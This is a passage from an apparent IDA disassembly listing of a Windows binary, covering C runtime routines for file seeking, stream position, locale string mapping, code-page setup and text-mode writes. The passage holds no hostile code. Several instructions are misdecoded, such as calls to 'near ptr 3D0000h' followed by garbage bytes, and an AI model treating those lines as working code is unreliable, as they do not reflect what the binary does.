mov [ebp+var_8], edi
loc_41BB41: ; CODE XREF: sub_41B969+DAj
mov eax, [ebp+var_8]
jmp short loc_41BB5A
; ---------------------------------------------------------------------------
loc_41BB46: ; CODE XREF: sub_41B969+12j
; sub_41B969+39j
and ds:dword_469478, 0
mov ds:dword_469474, 9
loc_41BB57: ; CODE XREF: sub_41B969+ABj
; sub_41B969+C3j
or eax, 0FFFFFFFFh
loc_41BB5A: ; CODE XREF: sub_41B969+B7j
; sub_41B969+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41B969 endp
; =============== S U B R O U T I N E =======================================
sub_41BB5F proc near ; CODE XREF: seg000:00416E85p
; sub_417C17+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, ds:dword_46A8A0
push esi
push edi
jnb short loc_41BBE1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46A7A0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41BBE1
push eax
call sub_41D4A6
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41BBA3
mov ds:dword_469474, 9
jmp short loc_41BBF2
; ---------------------------------------------------------------------------
loc_41BBA3: ; CODE XREF: sub_41BB5F+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call ds:dword_4210AC ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41BBC3
call ds:dword_421088 ; RtlGetLastWin32Error
jmp short loc_41BBC5
; ---------------------------------------------------------------------------
loc_41BBC3: ; CODE XREF: sub_41BB5F+5Aj
xor eax, eax
loc_41BBC5: ; CODE XREF: sub_41BB5F+62j
test eax, eax
jz short loc_41BBD2
push eax
call sub_41C5B7
pop ecx
jmp short loc_41BBF2
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BB5F+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41BBF5
; ---------------------------------------------------------------------------
loc_41BBE1: ; CODE XREF: sub_41BB5F+Dj
; sub_41BB5F+2Aj
and ds:dword_469478, 0
mov ds:dword_469474, 9
loc_41BBF2: ; CODE XREF: sub_41BB5F+42j
; sub_41BB5F+71j
or eax, 0FFFFFFFFh
loc_41BBF5: ; CODE XREF: sub_41BB5F+80j
pop edi
pop esi
pop ebx
retn
sub_41BB5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBF9 proc near ; CODE XREF: seg000:00416E48p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41BC15
mov [edi+4], ebx
loc_41BC15: ; CODE XREF: sub_41BBF9+17j
push 1
push ebx
push esi
call sub_41BB5F
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41BC83
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41BC3A
sub eax, [edi+4]
jmp loc_41BD4C
; ---------------------------------------------------------------------------
loc_41BC3A: ; CODE XREF: sub_41BBF9+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41BC74
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, ds:dword_46A7A0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41BC8B
mov edx, ecx
loc_41BC65: ; CODE XREF: sub_41BBF9+79j
cmp edx, eax
jnb short loc_41BC8B
cmp byte ptr [edx], 0Ah
jnz short loc_41BC71
inc [ebp+var_8]
loc_41BC71: ; CODE XREF: sub_41BBF9+73j
inc edx
jmp short loc_41BC65
; ---------------------------------------------------------------------------
loc_41BC74: ; CODE XREF: sub_41BBF9+50j
test dl, 80h
jnz short loc_41BC8B
mov ds:dword_469474, 16h
loc_41BC83: ; CODE XREF: sub_41BBF9+2Dj
or eax, 0FFFFFFFFh
jmp loc_41BD4C
; ---------------------------------------------------------------------------
loc_41BC8B: ; CODE XREF: sub_41BBF9+68j
; sub_41BBF9+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41BC99
mov eax, [ebp+var_8]
jmp loc_41BD4C
; ---------------------------------------------------------------------------
loc_41BC99: ; CODE XREF: sub_41BBF9+96j
test byte ptr [edi+0Ch], 1
jz loc_41BD44
mov edx, [edi+4]
test edx, edx
jnz short loc_41BCB2
and [ebp+var_8], edx
jmp loc_41BD44
; ---------------------------------------------------------------------------
loc_41BCB2: ; CODE XREF: sub_41BBF9+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7A0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41BD3E
push 2
push 0
push [ebp+var_C]
call sub_41BB5F
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41BD05
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41BCF0: ; CODE XREF: sub_41BBF9+104j
cmp eax, ecx
jnb short loc_41BCFF
cmp byte ptr [eax], 0Ah
jnz short loc_41BCFC
inc [ebp+arg_0]
loc_41BCFC: ; CODE XREF: sub_41BBF9+FEj
inc eax
jmp short loc_41BCF0
; ---------------------------------------------------------------------------
loc_41BCFF: ; CODE XREF: sub_41BBF9+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41BD39
; ---------------------------------------------------------------------------
loc_41BD05: ; CODE XREF: sub_41BBF9+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41BB5F
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41BD2C
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41BD2C
test ch, 4
jz short loc_41BD2F
loc_41BD2C: ; CODE XREF: sub_41BBF9+124j
; sub_41BBF9+12Cj
mov eax, [edi+18h]
loc_41BD2F: ; CODE XREF: sub_41BBF9+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41BD39: ; CODE XREF: sub_41BBF9+10Aj
jz short loc_41BD3E
inc [ebp+arg_0]
loc_41BD3E: ; CODE XREF: sub_41BBF9+D9j
; sub_41BBF9:loc_41BD39j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41BD44: ; CODE XREF: sub_41BBF9+A4j
; sub_41BBF9+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41BD4C: ; CODE XREF: sub_41BBF9+3Cj
; sub_41BBF9+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBF9 endp
; ---------------------------------------------------------------------------
loc_41BD51: ; CODE XREF: sub_417173+A3p
; sub_41AC51+A5p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421878
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor edi, edi
cmp ds:dword_4694FC, edi
jnz short loc_41BDC7
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_421870
mov esi, 100h
push esi
push edi
call ds:dword_421190 ; LCMapStringW
test eax, eax
jz short loc_41BDA5
mov ds:dword_4694FC, ebx
jmp short loc_41BDC7
; ---------------------------------------------------------------------------
loc_41BDA5: ; CODE XREF: seg000:0041BD9Bj
push edi
push edi
push ebx
push offset dword_438FB4
push esi
push edi
call near ptr 3D0000h
sbb al, [ebp+22840FC0h]
add [eax], eax
add bh, al
add eax, offset dword_4694FC
add al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_41BDC7: ; CODE XREF: seg000:0041BD7Fj
; seg000:0041BDA3j
cmp [ebp+14h], edi
jle short loc_41BDDC
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_41BF75
pop ecx
pop ecx
mov [ebp+14h], eax
loc_41BDDC: ; CODE XREF: seg000:0041BDCAj
mov eax, ds:dword_4694FC
cmp eax, 2
jnz short loc_41BE03
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 3D0000h
cmpsb
jmp loc_41BEE1
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: seg000:0041BDE4j
cmp eax, 1
jnz loc_41BEDF
cmp [ebp+20h], edi
jnz short loc_41BE19
mov eax, ds:dword_469518
mov [ebp+20h], eax
loc_41BE19: ; CODE XREF: seg000:0041BE0Fj
push edi
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
mov eax, [ebp+24h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+20h]
call ds:dword_421064 ; MultiByteToWideChar
mov ebx, eax
mov [ebp-1Ch], ebx
cmp ebx, edi
jz loc_41BEDF
mov [ebp-4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_415D50
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_41BE74
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
mov [ebp-24h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
loc_41BE74: ; CODE XREF: seg000:0041BE5Fj
cmp [ebp-24h], edi
jz short loc_41BEDF
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 1
push dword ptr [ebp+20h]
call ds:dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_41BEDF
push edi
push edi
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_421190 ; LCMapStringW
mov esi, eax
mov [ebp-28h], esi
cmp esi, edi
jz short loc_41BEDF
test byte ptr [ebp+0Dh], 4
jz short loc_41BEF3
cmp [ebp+1Ch], edi
jz loc_41BF6E
cmp esi, [ebp+1Ch]
jg short loc_41BEDF
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_421190 ; LCMapStringW
test eax, eax
jnz loc_41BF6E
loc_41BEDF: ; CODE XREF: seg000:0041BE06j
; seg000:0041BE3Dj ...
xor eax, eax
loc_41BEE1: ; CODE XREF: seg000:0041BDFEj
; seg000:0041BF70j
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BEF3: ; CODE XREF: seg000:0041BEB1j
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415D50
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-20h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_41BF27
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_41BF27: ; CODE XREF: seg000:0041BF13j
cmp ebx, edi
jz short loc_41BEDF
push esi
push ebx
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_421190 ; LCMapStringW
test eax, eax
jz short loc_41BEDF
cmp [ebp+1Ch], edi
push edi
push edi
jnz short loc_41BF4E
push edi
push edi
jmp short loc_41BF54
; ---------------------------------------------------------------------------
loc_41BF4E: ; CODE XREF: seg000:0041BF48j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_41BF54: ; CODE XREF: seg000:0041BF4Cj
push esi
push ebx
push 220h
push dword ptr [ebp+20h]
call ds:dword_421138 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_41BEDF
loc_41BF6E: ; CODE XREF: seg000:0041BEB6j
; seg000:0041BED9j
mov eax, esi
jmp loc_41BEE1
; =============== S U B R O U T I N E =======================================
sub_41BF75 proc near ; CODE XREF: seg000:0041BDD2p
; sub_41F825+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_41BF92
loc_41BF85: ; CODE XREF: sub_41BF75+1Bj
cmp byte ptr [eax], 0
jz short loc_41BF92
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_41BF85
loc_41BF92: ; CODE XREF: sub_41BF75+Ej
; sub_41BF75+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_41BF9D
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41BF9D: ; CODE XREF: sub_41BF75+21j
mov eax, edx
retn
sub_41BF75 endp
; ---------------------------------------------------------------------------
loc_41BFA0: ; CODE XREF: sub_41C364+Bp
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call sub_41C139
mov esi, eax
pop ecx
cmp esi, ds:dword_46A8A4
mov [ebp+8], esi
jz loc_41C12D
xor ebx, ebx
cmp esi, ebx
jz loc_41C123
xor edx, edx
mov eax, offset dword_4380D0
loc_41BFD4: ; CODE XREF: seg000:0041BFE1j
cmp [eax], esi
jz short loc_41C04A
add eax, 30h
inc edx
cmp eax, offset dword_4381C0
jl short loc_41BFD4
lea eax, [ebp-18h]
push eax
push esi
call near ptr 0CB0004h
fild dword ptr [ebx-7AF0FE08h]
and al, 1
; ---------------------------------------------------------------------------
db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
inc eax
xor eax, eax
pop ecx
mov edi, offset byte_46A9C0
cmp dword ptr [ebp-18h], 1
mov ds:dword_46A8A4, esi
rep stosd
stosb
mov ds:dword_46AAC4, ebx
jbe loc_41C109
cmp byte ptr [ebp-12h], 0
jz loc_41C0DF
lea ecx, [ebp-11h]
loc_41C027: ; CODE XREF: seg000:0041C0D9j
mov dl, [ecx]
test dl, dl
jz loc_41C0DF
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41C038: ; CODE XREF: seg000:0041C048j
cmp eax, edx
ja loc_41C0D3
or ds:byte_46A9C1[eax], 4
inc eax
jmp short loc_41C038
; ---------------------------------------------------------------------------
loc_41C04A: ; CODE XREF: seg000:0041BFD6j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46A9C0
rep stosd
lea esi, [edx+edx*2]
mov [ebp-4], ebx
shl esi, 4
stosb
lea ebx, dword_4380E0[esi]
loc_41C066: ; CODE XREF: seg000:0041C0A3j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41C099
loc_41C06D: ; CODE XREF: seg000:0041C097j
mov dl, [ecx+1]
test dl, dl
jz short loc_41C099
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41C092
mov edx, [ebp-4]
mov dl, ds:byte_4380C8[edx]
loc_41C087: ; CODE XREF: seg000:0041C090j
or ds:byte_46A9C1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41C087
loc_41C092: ; CODE XREF: seg000:0041C07Cj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41C06D
loc_41C099: ; CODE XREF: seg000:0041C06Bj
; seg000:0041C072j
inc dword ptr [ebp-4]
add ebx, 8
cmp dword ptr [ebp-4], 4
jb short loc_41C066
mov eax, [ebp+8]
mov ds:dword_46A8BC, 1
push eax
mov ds:dword_46A8A4, eax
call sub_41C183
lea esi, dword_4380D4[esi]
mov edi, offset dword_46A8B0
movsd
movsd
pop ecx
mov ds:dword_46AAC4, eax
movsd
jmp short loc_41C128
; ---------------------------------------------------------------------------
loc_41C0D3: ; CODE XREF: seg000:0041C03Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41C027 ; CODE XREF: sub_41C139+1Fj
loc_41C0DF: ; CODE XREF: seg000:0041C01Ej
; seg000:0041C02Bj
push 1
pop eax
loc_41C0E2: ; CODE XREF: seg000:0041C0EFj
or ds:byte_46A9C1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41C0E2
push esi
call sub_41C183
pop ecx
mov ds:dword_46AAC4, eax
mov ds:dword_46A8BC, 1
jmp short loc_41C10F
; ---------------------------------------------------------------------------
loc_41C109: ; CODE XREF: seg000:0041C014j
mov ds:dword_46A8BC, ebx
loc_41C10F: ; CODE XREF: seg000:0041C107j
xor eax, eax
mov edi, offset dword_46A8B0
stosd
stosd
stosd
jmp short loc_41C128
; ---------------------------------------------------------------------------
cmp ds:dword_469520, ebx
jz short loc_41C131
loc_41C123: ; CODE XREF: seg000:0041BFC7j
call sub_41C1B6
loc_41C128: ; CODE XREF: seg000:0041C0D1j
; seg000:0041C119j
call sub_41C1DF
loc_41C12D: ; CODE XREF: seg000:0041BFBDj
xor eax, eax
jmp short loc_41C134
; ---------------------------------------------------------------------------
loc_41C131: ; CODE XREF: seg000:0041C121j
or eax, 0FFFFFFFFh
loc_41C134: ; CODE XREF: seg000:0041C12Fj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41C139 proc near ; CODE XREF: seg000:0041BFACp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and ds:dword_469520, 0
cmp eax, 0FFFFFFFEh
jnz short near ptr loc_41C158+1
mov ds:dword_469520, 1
call near ptr 3D0000h
loc_41C158: ; CODE XREF: sub_41C139+Ej
jecxz short near ptr loc_41C0D9+4
clc
std
jnz short loc_41C16E
mov ds:dword_469520, 1
call near ptr 0C90004h
cwde
loc_41C16E: ; CODE XREF: sub_41C139+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41C182
mov eax, ds:dword_469518
mov ds:dword_469520, 1
locret_41C182: ; CODE XREF: sub_41C139+38j
retn
sub_41C139 endp
; =============== S U B R O U T I N E =======================================
sub_41C183 proc near ; CODE XREF: seg000:0041C0B8p
; seg000:0041C0F2p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41C1B0
sub eax, 4
jz short loc_41C1AA
sub eax, 0Dh
jz short loc_41C1A4
dec eax
jz short loc_41C19E
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C19E: ; CODE XREF: sub_41C183+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41C1A4: ; CODE XREF: sub_41C183+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41C1AA: ; CODE XREF: sub_41C183+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41C1B0: ; CODE XREF: sub_41C183+9j
mov eax, 411h
retn
sub_41C183 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B6 proc near ; CODE XREF: seg000:loc_41C123p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_46A9C0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_46A8B0
mov ds:dword_46A8A4, eax
mov ds:dword_46A8BC, eax
mov ds:dword_46AAC4, eax
stosd
stosd
stosd
pop edi
retn
sub_41C1B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1DF proc near ; CODE XREF: seg000:loc_41C128p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push ds:dword_46A8A4
call near ptr 0CD0004h
dec ebp
cmp eax, 1
jnz loc_41C318
xor eax, eax
mov esi, 100h
loc_41C209: ; CODE XREF: sub_41C1DF+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41C209
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41C25A
push ebx
push edi
lea edx, [ebp+var_D]
loc_41C228: ; CODE XREF: sub_41C1DF+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41C24F
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41C24F: ; CODE XREF: sub_41C1DF+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41C228
pop edi
pop ebx
loc_41C25A: ; CODE XREF: sub_41C1DF+42j
push 0
lea eax, [ebp+var_514]
push ds:dword_46AAC4
push ds:dword_46A8A4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call loc_41D1D7
push 0
lea eax, [ebp+var_214]
push ds:dword_46A8A4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push ds:dword_46AAC4
call loc_41BD51
push 0
lea eax, [ebp+var_314]
push ds:dword_46A8A4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push ds:dword_46AAC4
call loc_41BD51
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41C2D5: ; CODE XREF: sub_41C1DF+135j
mov dx, [ecx]
test dl, 1
jz short loc_41C2F3
or ds:byte_46A9C1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41C2EB: ; CODE XREF: sub_41C1DF+127j
mov ds:byte_46A8C0[eax], dl
jmp short loc_41C30F
; ---------------------------------------------------------------------------
loc_41C2F3: ; CODE XREF: sub_41C1DF+FCj
test dl, 2
jz short loc_41C308
or ds:byte_46A9C1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41C2EB
; ---------------------------------------------------------------------------
loc_41C308: ; CODE XREF: sub_41C1DF+117j
and ds:byte_46A8C0[eax], 0
loc_41C30F: ; CODE XREF: sub_41C1DF+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41C2D5
jmp short loc_41C361
; ---------------------------------------------------------------------------
loc_41C318: ; CODE XREF: sub_41C1DF+1Dj
xor eax, eax
mov esi, 100h
loc_41C31F: ; CODE XREF: sub_41C1DF+180j
cmp eax, 41h
jb short loc_41C33D
cmp eax, 5Ah
ja short loc_41C33D
or ds:byte_46A9C1[eax], 10h
mov cl, al
add cl, 20h
loc_41C335: ; CODE XREF: sub_41C1DF+174j
mov ds:byte_46A8C0[eax], cl
jmp short loc_41C35C
; ---------------------------------------------------------------------------
loc_41C33D: ; CODE XREF: sub_41C1DF+143j
; sub_41C1DF+148j
cmp eax, 61h
jb short loc_41C355
cmp eax, 7Ah
ja short loc_41C355
or ds:byte_46A9C1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41C335
; ---------------------------------------------------------------------------
loc_41C355: ; CODE XREF: sub_41C1DF+161j
; sub_41C1DF+166j
and ds:byte_46A8C0[eax], 0
loc_41C35C: ; CODE XREF: sub_41C1DF+15Cj
inc eax
cmp eax, esi
jb short loc_41C31F
loc_41C361: ; CODE XREF: sub_41C1DF+137j
pop esi
leave
retn
sub_41C1DF endp
; =============== S U B R O U T I N E =======================================
sub_41C364 proc near ; CODE XREF: seg000:0041C7ABp
; sub_41C7FA+Dp ...
cmp ds:dword_46AAEC, 0
jnz short locret_41C37F
push 0FFFFFFFDh
call loc_41BFA0
pop ecx
mov ds:dword_46AAEC, 1
locret_41C37F: ; CODE XREF: sub_41C364+7j
retn
sub_41C364 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C380 proc near ; CODE XREF: sub_417328+2Bp
; sub_417328+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp ds:dword_46A8BC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41C3A4
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_416D20
add esp, 0Ch
jmp short loc_41C407
; ---------------------------------------------------------------------------
loc_41C3A4: ; CODE XREF: sub_41C380+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41C3E9
mov ecx, [ebp+arg_4]
loc_41C3AF: ; CODE XREF: sub_41C380+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test ds:byte_46A9C1[esi], 4
mov [edi], al
jz short loc_41C3D3
inc edi
inc ecx
test edx, edx
jz short loc_41C3DF
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41C3E5
jmp short loc_41C3D9
; ---------------------------------------------------------------------------
loc_41C3D3: ; CODE XREF: sub_41C380+3Ej
inc edi
inc ecx
test al, al
jz short loc_41C3E9
loc_41C3D9: ; CODE XREF: sub_41C380+51j
test edx, edx
jnz short loc_41C3AF
jmp short loc_41C3E9
; ---------------------------------------------------------------------------
loc_41C3DF: ; CODE XREF: sub_41C380+44j
and byte ptr [edi-1], 0
jmp short loc_41C3E9
; ---------------------------------------------------------------------------
loc_41C3E5: ; CODE XREF: sub_41C380+4Fj
and byte ptr [edi-2], 0
loc_41C3E9: ; CODE XREF: sub_41C380+2Aj
; sub_41C380+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41C404
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41C404: ; CODE XREF: sub_41C380+6Fj
mov eax, [ebp+arg_0]
loc_41C407: ; CODE XREF: sub_41C380+22j
pop edi
pop ebp
retn
sub_41C380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C40A proc near ; CODE XREF: sub_4175DF+A2p
; sub_417C17+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, ds:dword_46A8A0
push esi
push edi
jnb loc_41C59E
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7A0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41C59E
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41C45B
loc_41C454: ; CODE XREF: sub_41C40A+177j
xor eax, eax
jmp loc_41C5B2
; ---------------------------------------------------------------------------
loc_41C45B: ; CODE XREF: sub_41C40A+48j
test al, 20h
jz short loc_41C46B
push 2
push edi
push ecx
call sub_41BB5F
add esp, 0Ch
loc_41C46B: ; CODE XREF: sub_41C40A+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41C53A
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41C572
loc_41C48B: ; CODE XREF: sub_41C40A+F5j
lea eax, [ebp+var_414]
loc_41C491: ; CODE XREF: sub_41C40A+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41C4C5
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41C4B0
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41C4B0: ; CODE XREF: sub_41C40A+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41C491
loc_41C4C5: ; CODE XREF: sub_41C40A+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 3D0000h
pop ebp
test eax, eax
jz short loc_41C52F
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41C501
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41C48B
loc_41C501: ; CODE XREF: sub_41C40A+EAj
; sub_41C40A+12Ej
xor edi, edi
loc_41C503: ; CODE XREF: sub_41C40A+150j
; sub_41C40A+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41C599
cmp [ebp+arg_0], edi
jz short loc_41C572
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41C567
mov ds:dword_469474, 9
mov ds:dword_469478, eax
jmp loc_41C5AF
; ---------------------------------------------------------------------------
loc_41C52F: ; CODE XREF: sub_41C40A+E0j
call ds:dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41C501
; ---------------------------------------------------------------------------
loc_41C53A: ; CODE XREF: sub_41C40A+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 3D0000h
sti
test eax, eax
jz short loc_41C55C
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41C503
; ---------------------------------------------------------------------------
